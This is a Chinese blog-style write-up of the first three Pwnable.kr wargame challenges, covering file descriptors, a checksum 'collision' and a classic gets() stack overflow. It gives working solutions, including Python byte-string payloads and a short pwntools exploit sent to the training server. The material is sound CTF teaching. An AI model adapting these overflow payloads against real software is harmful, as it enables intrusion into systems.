Pwnable.kr题目Writeup持续更新~

题目地址:https://pwnable.kr/play.php

第一题[fd]:

Mommy! what is a file descriptor in Linux?

* try to play the wargame your self but if you are ABSOLUTE beginner, follow this tutorial link:
https://youtu.be/971eZhMHQQw

ssh [email protected] -p2222 (pw:guest)

题目说明有ssh地址和端口   我们连上去看看   为了做题方便  窝直接用的ubuntu

Pwnable.kr题目Writeup持续更新~

提示输入密码  我们直接输入guest

Pwnable.kr题目Writeup持续更新~

ls列出三个文件   直接cat flag会提示没有权限  只有fd是可以执行的

猜测fd.c就是fd的源码了    我们查看下

Pwnable.kr题目Writeup持续更新~

可以看到如果我们只要使得第二个参数是LETMEWIN就可以  get flag

百度可以知道read(fd, buf, 32)中当fd的值等于0的时候 是标准输入

int fd = atoi( argv[1] ) - 0x1234;

这行用到了函数atoi()

直接输入./fd 0x1234是不行的

百度的拿过来理解下:

int atoi(const char *nptr) 函数会扫描参数 nptr字符串,会跳过前面的空白字符(例如空格,tab缩进)等。如果 nptr不能转换成 int 或者 nptr为空字符串,那么将返回 0。特别注意,该函数要求被转换的字符串是按十进制数理解的。

既然不能正常识别是十六进制,那么我们可以将他转成十进制4660  然后作为参数输入就可以用read正常读取啦。

Pwnable.kr题目Writeup持续更新~

Pwnable.kr题目Writeup持续更新~

flag到手

第二题collision:

Daddy told me about cool MD5 hash collision today.
I wanna do something like that too!

ssh [email protected] -p2222 (pw:guest)

还是直接连接上去   发现一样有三个文件  这次直接看源码吧

Pwnable.kr题目Writeup持续更新~

可以看出重点就在check_password()函数

先将我们输入的20个char型字符转成int型

接着5个一组分开再相加最后传给res

那么我们只要构造出20个字节 与hashcode即0x21DD09EC相等就好

最简单的 我们可以分解成0x01010101*4+0x1DD905E8   其他分解也可以

接着使用python传进去就可以拿到flag

注意python语句要加上反引号`       这里的\x代表十六进制

./col `python -c "print '\xe8\x05\xd9\x1d'+'\x01'*16"`

或者

python -c "print '\xe8\x05\xd9\x1d'+'\x01'*16"|xargs ./col

Pwnable.kr题目Writeup持续更新~

第三题:bof

Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

好像这才是经典的pwn    给了源码  那我们还是先看下bof.c

直接wget http://pwnable.kr/bin/bof.c下载到本地

也可以直接下载bof  用IDA Pro查看

可以看到关键就是控制a1的值等于0xcafebabe

但是我们只可以输入s   因为没有检查长度   可以用gets溢出   来覆盖a1

s到ebp的距离是0x2c  换成十进制是44   也就是说我们只要输入大于44长度的数据   就可以成功溢出

Pwnable.kr题目Writeup持续更新~

而我们如果想覆盖掉a1  可以直接双击a1  可以看到栈中布局   s与a1相距8

Pwnable.kr题目Writeup持续更新~

那么举例就是44+8=52

payload:

cat <(python -c "print '\x11'*52+'\xbe\xba\xfe\xca'") - | nc pwnable.kr 9000

或者使用pwntools    编写exp.py

from pwn import *

r = remote('pwnable.kr',9000)

r.sendline('a'*52 + p32(0xcafebabe))

r.interactive()

Pwnable.kr题目Writeup持续更新~

 

参考链接:

https://bbs.ichunqiu.com/thread-46026-1-1.html

https://www.cnblogs.com/spd2016/p/5487718.html

http://www.secist.com/archives/3619.html